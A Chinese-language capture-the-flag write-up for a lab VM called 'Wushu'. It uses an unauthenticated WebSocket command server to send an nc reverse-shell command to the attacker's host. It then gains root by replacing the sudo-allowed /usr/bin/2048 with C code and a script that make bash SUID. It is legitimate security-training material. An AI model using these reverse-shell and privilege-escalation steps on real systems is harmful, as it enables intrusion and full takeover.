Wushu

OS: Linux

Web-Tech: Apache

IP: 192.168.1.159

USERS:

Credentials:

==========

Ports:

22 -> ssh
80 -> apache 2.4.62
8765 -> websocket

UDP:
没扫

==========

```
Nmap Results:

#Nmap 7.95 scan initiated Thu Sep 25 10:14:47 2025 as: /usr/lib/nmap/nmap --
privileged -vvv -p 22,80,8765 -4 -sC -sV --oN scan_results.txt 192.168.1.159
Nmap scan report for Wushu.lan (192.168.1.235)
Host is up, received arp-response (0.00038s latency).
Scanned at 2025-09-25 10:14:47 JST for 88s

PORT     STATE SERVICE         REASON         VERSION
22/tcp   open  ssh             syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3
(protocol 2.0)
| ssh-hostkey:
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B4
1ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItF
b8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51
IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tU
gVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU
```

```
5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7
ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk=
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
| ecdsa-sha2-nistp256
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346m
Xex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE=
|   256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
|_ssh-ed25519
AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1
80/tcp   open  http            syn-ack ttl 64 Apache httpd 2.4.62 ((Debian))
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
8765/tcp open  ultraseek-http? syn-ack ttl 64
MAC Address: 08:00:27:99:4F:08 (PCS Systemtechnik/Oracle VirtualBox virtual
NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .

#Nmap done at Thu Sep 25 10:16:15 2025 -- 1 IP address (1 host up) scanned in
87.68 seconds
```

==========

Other:

==========

Take Away Concepts:

8765开启的是websocket
一开始以为是SSRF，但是搜了一圈交互以后发现方向不对

```
┌──(kali㉿kali)-[~/Downloads/Special/Wushu]
└─$ curl -v -i -N -H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-
WebSocket-Key: wDqumtseNBJdhkihL6PW7w==" -H "Sec-WebSocket-Version: 13"
http://192.168.1.159:8765
*   Trying 192.168.1.159:8765...
* Connected to 192.168.1.159 (192.168.1.159) port 8765
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 192.168.1.159:8765
> User-Agent: curl/8.13.0
```

```
> Accept: */*
> Connection: Upgrade
> Upgrade: websocket
> Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
> Sec-WebSocket-Version: 13
>
* Request completely sent off
< HTTP/1.1 101 Switching Protocols
HTTP/1.1 101 Switching Protocols
< Date: Thu, 25 Sep 2025 10:26:26 GMT
Date: Thu, 25 Sep 2025 10:26:26 GMT
< Upgrade: websocket
Upgrade: websocket
< Connection: Upgrade
Connection: Upgrade
< Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
< Server: Python/3.9 websockets/15.0.1
Server: Python/3.9 websockets/15.0.1
<

T{"type": "system", "message": "Connected to command server. Send commands
use JSON"}
```

用AI生成了简易的交互脚本，发现需要token，于是在command_to_send里加入一个 `"token":"admin"` 以后发现可以成功进行交互
至于可执行的command里测试了 `whereis busybox` 和 `whereis nc` ，由于nc -e flag不可用，转而使用nc -c flag

```
┌──(kali㉿kali)-[~/Downloads/Special/Wushu]
└─$ cat test.py
#!/usr/bin/env python

import asyncio
import websockets
import json

async def interact_with_websocket():
    """
    连接到 WebSocket 服务器，发送 JSON 命令并接收响应。
    """
    # 将 URI 中的 http 替换为 ws
    uri = "ws://192.168.1.159:8765"
```

```
    try:
        # 建立到 WebSocket 服务器的连接
        async with websockets.connect(uri) as websocket:
            print(f"成功连接到: {uri}")

            # 接收初始连接消息
            initial_message = await websocket.recv()
            print(f"<-- 收到初始消息: {initial_message}")

            # 准备要发送的 JSON 命令
            # 这里的 'command' 和 'ls -la' 只是示例，您需要根据靶机的实际要求来构造命
令
            command_to_send = {
                "command": "nc -c /bin/bash 192.168.1.204 8765",
                "token": "admin"
                # 您可以根据需要添加其他键值对
                # "args": ["-l", "/"],
            }

            # 将 Python 字典转换为 JSON 字符串并发送
            await websocket.send(json.dumps(command_to_send))
            print(f"--> 已发送命令: {json.dumps(command_to_send)}")

            # 接收并打印服务器的响应
            response = await websocket.recv()
            print(f"<-- 收到响应: {response}")

            # 可以在这里添加一个循环来持续交互
            # while True:
            #     cmd = input("请输入命令 (JSON格式): ")
            #     await websocket.send(cmd)
            #     response = await websocket.recv()
            #     print(f"<-- {response}")

    except websockets.exceptions.ConnectionClosedError as e:
        print(f"连接已关闭: {e}")
    except ConnectionRefusedError:
        print("连接被拒绝，请检查目标主机和端口是否正确。")
    except Exception as e:
        print(f"发生错误: {e}")

if __name__ == "__main__":
    # 运行异步函数
    asyncio.run(interact_with_websocket())
```

```
┌──(kali㉿kali)-[~/Downloads/Special/Wushu]
└─$ python3 test.py
成功连接到: ws://192.168.1.159:8765
<-- 收到初始消息: {"type": "system", "message": "Connected to command server.
Send commands use JSON"}
--> 已发送命令: {"command": "nc -c /bin/bash 192.168.1.204 8765", "token":
"admin"}
<-- 收到响应: {"type": "result", "command": "nc -c /bin/bash 192.168.1.204
8765", "output": "ERROR: Command timed out"}
```

Spawn TTY Shell以后发现用户是caidao，切换到/home/caidao后获取flag

```
┌──(kali㉿kali)-[~/Downloads/Special/Wushu]
└─$ sudo rlwrap -cAr nc -lvnp 8765
[sudo] password for kali:
listening on [any] 8765 ...
connect to [192.168.1.204] from (UNKNOWN) [192.168.1.159] 50222
export TERM=xterm-256color;
python3 -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm-256color;
export TERM=xterm-256color;
caidao@Wushu:/root$ export TERM=xterm-256color;
caidao@Wushu:/root$ export
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/
usr/local/games:/snap/bin;
export
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/
usr/local/games:/snap/bin;alias ll='clear; ls -lsaht --color=auto';

caidao@Wushu:/root$
alias ll='clear; ls -lsaht --color=auto';
caidao@Wushu:/root$
caidao@Wushu:/root$ cd ~
cd ~
caidao@Wushu:~$ ls
ls
lin.sh  user.txt
caidao@Wushu:~$ cat user.txt
cat user.txt
flag{user-4141b1d21f4cbcfcfe214d474e9fb6b2}
caidao@Wushu:~$
```

有个linpeas.sh在这里，跑一段时间后即可发现/usr目录可写，当然到根目录下可以发现

```
total 68K
   0 dr-xr-xr-x  13 root   root      0 Sep 25 06:36 sys
   0 drwxr-xr-x  18 root   root    520 Sep 25 06:18 run
4.0K drwxr-xr-x  82 root   root   4.0K Sep 25 06:18 etc
   0 dr-xr-xr-x 133 root   root      0 Sep 25 06:18 proc
4.0K drwxrwxrwt  10 root   root   4.0K Sep 25 06:18 tmp
   0 drwxr-xr-x  17 root   root   3.2K Sep 25 06:18 dev
4.0K drwxr-xr-x   2 root   root   4.0K Aug 18 10:22 opt
4.0K drwx------   6 root   root   4.0K Aug 18 10:22 root
4.0K drwxr-xr-x  14 caidao caidao 4.0K Aug 18 10:03 usr
4.0K drwxr-xr-x   3 root   root   4.0K Aug 18 09:33 home
4.0K drwxr-xr-x   3 root   root   4.0K Aug 18 09:17 boot
4.0K drwxr-xr-x  12 root   root   4.0K Apr  1 10:05 var
4.0K drwxr-xr-x  18 root   root   4.0K Mar 18  2025 .
4.0K drwxr-xr-x  18 root   root   4.0K Mar 18  2025 ..
   0 lrwxrwxrwx   1 root   root     31 Mar 18  2025 initrd.img ->
boot/initrd.img-4.19.0-27-amd64
   0 lrwxrwxrwx   1 root   root     28 Mar 18  2025 vmlinuz -> boot/vmlinuz-
4.19.0-27-amd64
   0 lrwxrwxrwx   1 root   root     31 Mar 18  2025 initrd.img.old ->
boot/initrd.img-4.19.0-21-amd64
   0 lrwxrwxrwx   1 root   root     28 Mar 18  2025 vmlinuz.old ->
boot/vmlinuz-4.19.0-21-amd64
4.0K drwxr-xr-x   2 root   root   4.0K Mar 18  2025 mnt
4.0K drwxr-xr-x   2 root   root   4.0K Mar 18  2025 srv
   0 lrwxrwxrwx   1 root   root      9 Mar 18  2025 lib64 -> usr/lib64
   0 lrwxrwxrwx   1 root   root     10 Mar 18  2025 libx32 -> usr/libx32
   0 lrwxrwxrwx   1 root   root      7 Mar 18  2025 lib -> usr/lib
   0 lrwxrwxrwx   1 root   root      9 Mar 18  2025 lib32 -> usr/lib32
   0 lrwxrwxrwx   1 root   root      8 Mar 18  2025 sbin -> usr/sbin
   0 lrwxrwxrwx   1 root   root      7 Mar 18  2025 bin -> usr/bin
4.0K drwxr-xr-x   3 root   root   4.0K Mar 18  2025 media
 16K drwx------   2 root   root    16K Mar 18  2025 lost+found
```

顺手看了看用户跑了什么，发现root有在跑一个/opt/server.py的脚本

```
caidao@Wushu:/$ ps aux | grep caidao
ps aux | grep caidao
root         349  0.0  0.0   2472   572 ?        Ss   06:18   0:00 /bin/sh -c
sudo -u caidao /usr/bin/python3 /opt/server.py
root         352  0.0  0.1   8608  4036 ?        S    06:18   0:00 sudo -u
caidao /usr/bin/python3 /opt/server.py
caidao       377  0.0  1.0 102340 21260 ?        S    06:18   0:00
/usr/bin/python3 /opt/server.py
caidao       588  0.0  0.3  12532  7084 ?        S    06:32   0:00 nc -c
```

```
/bin/bash 192.168.1.204 8765
caidao       589  0.0  0.0   2472   576 ?        S    06:32   0:00 sh -c
/bin/bash
caidao       590  0.0  0.1   6740  2940 ?        S    06:32   0:00 /bin/bash
caidao       591  0.0  0.3  14772  7916 ?        S    06:32   0:00 python3 -c
import pty;pty.spawn("/bin/bash")
caidao       592  0.0  0.1   7084  3800 pts/0    Ss   06:32   0:00 /bin/bash
caidao       608  0.0  0.1  11696  3236 pts/0    R+   06:37   0:00 ps aux
caidao       609  0.0  0.0   3044   640 pts/0    R+   06:37   0:00 grep caidao
```

sudo -l发现了2048

```
caidao@Wushu:/$ sudo -l
sudo -l
Matching Defaults entries for caidao on Wushu:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User caidao may run the following commands on Wushu:
    (ALL : ALL) NOPASSWD: /usr/bin/2048
```

crontab没有发现什么东西

```
caidao@Wushu:/$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR
sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
```

```
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --
report /etc/cron.monthly )
#

caidao@Wushu:/$ ls -l /etc/cron*
ls -l /etc/cron*
-rw-r--r-- 1 root root 1042 Oct 11  2019 /etc/crontab

/etc/cron.d:
total 4
-rw-r--r-- 1 root root 712 Mar  9  2025 php

/etc/cron.daily:
total 24
-rwxr-xr-x 1 root root  539 Jul  1  2024 apache2
-rwxr-xr-x 1 root root 1478 Apr 19  2021 apt-compat
-rwxr-xr-x 1 root root  355 Dec 29  2017 bsdmainutils
-rwxr-xr-x 1 root root 1187 May 24  2022 dpkg
-rwxr-xr-x 1 root root  377 Aug 28  2018 logrotate
-rwxr-xr-x 1 root root  249 Sep 27  2017 passwd

/etc/cron.hourly:
total 0

/etc/cron.monthly:
total 0

/etc/cron.weekly:
total 0
```

结合/usr目录的权限和sudo -l这两点，想到了两个方法
一是把2048换成caidao可控的文件，构造任意命令执行
二是硬等17分钟把run-parts换成caidao可控制的文件，构造任意命令执行 (php里的/usr/lib/php/sessionclean 的执行只要9分钟，理论上也可以构造)

方案1，先 `mv /usr/bin /usr/bin_bak` 嫌输命令麻烦就把路径加入环境变量然后创建bin目录

```
caidao@Wushu:/usr$ mv /usr/bin /usr/bin_bak
mv /usr/bin /usr/bin_bak
caidao@Wushu:/usr$ export PATH=/usr/bin_bak:$PATH
```

```
export PATH=/usr/bin_bak:$PATH
caidao@Wushu:/usr$ ls -lA
ls -lA
total 84
drwxr-xr-x   2 root root 28672 Aug 18 09:58 bin_bak
drwxr-xr-x   2 root root  4096 Aug 18 09:54 games
drwxr-xr-x  34 root root  4096 Apr  4 21:46 include
drwxr-xr-x  70 root root  4096 Aug 18 09:45 lib
drwxr-xr-x   2 root root  4096 Mar 18  2025 lib32
drwxr-xr-x   2 root root  4096 Mar 18  2025 lib64
drwxr-xr-x   2 root root  4096 Apr  4 21:46 libexec
drwxr-xr-x   2 root root  4096 Mar 18  2025 libx32
drwxr-xr-x  10 root root  4096 Mar 18  2025 local
drwxr-xr-x   2 root root 12288 Apr 11 21:51 sbin
drwxr-xr-x 111 root root  4096 Aug 18 09:45 share
drwxr-xr-x   2 root root  4096 Sep  3  2022 src
caidao@Wushu:/usr$ mkdir bin
mkdir bin
```

然后是确保2048以root权限运行，以下方法需要`mv /usr/bin_bak/sh /usr/bin/sh`

```
cat << EOF > /tmp/exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    // 以 root 权限运行
    setuid(0);
    setgid(0);

    // 复制 bash 并设置 SUID
    system("/usr/bin_bak/cp /usr/bin_bak/bash /tmp/rootbash");
    system("/usr/bin_bak/chmod +s /tmp/rootbash");

    return 0;
}
EOF

caidao@Wushu:/usr/bin$ gcc /tmp/exploit.c -o ./2048
gcc /tmp/exploit.c -o ./2048
caidao@Wushu:/usr/bin$ sudo 2048
sudo 2048
caidao@Wushu:/usr/bin$ ls -lA /tmp
ls -lA /tmp
total 1200
```

```
-rwxr-xr-x 1 caidao caidao   16712 Sep 25 06:52 exploit
-rw-r--r-- 1 caidao caidao     453 Sep 25 07:03 exploit.c
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .font-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .ICE-unix
-rwsr-sr-x 1 root   root   1168776 Sep 25 07:03 rootbash
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-apache2.service-k4tRuf
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-systemd-logind.service-lxUMvh
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-systemd-timesyncd.service-I7MyYh
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .Test-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .X11-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .XIM-unix

caidao@Wushu:/usr/bin$ ls -lA /tmp/
ls -lA /tmp/
total 1200
-rwxr-xr-x 1 caidao caidao   16712 Sep 25 06:52 exploit
-rw-r--r-- 1 caidao caidao     453 Sep 25 07:03 exploit.c
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .font-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .ICE-unix
-rwsr-sr-x 1 root   root   1168776 Sep 25 07:04 rootbash
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-apache2.service-k4tRuf
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-systemd-logind.service-lxUMvh
drwx------ 3 root   root      4096 Sep 25 06:18 systemd-private-
12d4001fd07a435db93f4eb4a52e2214-systemd-timesyncd.service-I7MyYh
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .Test-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .X11-unix
drwxrwxrwt 2 root   root      4096 Sep 25 06:18 .XIM-unix
caidao@Wushu:/usr/bin$ /tmp/rootbash -p
/tmp/rootbash -p
rootbash-5.0# cd /root
cd /root
rootbash-5.0# cat root.txt
cat root.txt
flag{root-bcb44f5672d98ad8a966ed474335716d}
rootbash-5.0# id
id
uid=1000(caidao) gid=1000(caidao) euid=0(root) egid=0(root)
groups=0(root),1000(caidao)
rootbash-5.0#
```

当然你也可以选择

```
caidao@Wushu:/usr/bin$ echo '#!/usr/bin_bak/bash' > 2048
caidao@Wushu:/usr/bin$ echo '/usr/bin_bak/chmod u+s /usr/bin_bak/bash' >> 2048
caidao@Wushu:/usr/bin$ chmod +x 2048
caidao@Wushu:/usr/bin$ sudo 2048
caidao@Wushu:/usr/bin$ ls -lA /usr/bin_bak/bash
-rwsr-xr-x 1 root root 1168776 Apr 18  2019 /usr/bin_bak/bash
caidao@Wushu:/usr/bin$ /usr/bin_bak/bash -p
bash-5.0# whoami
root
```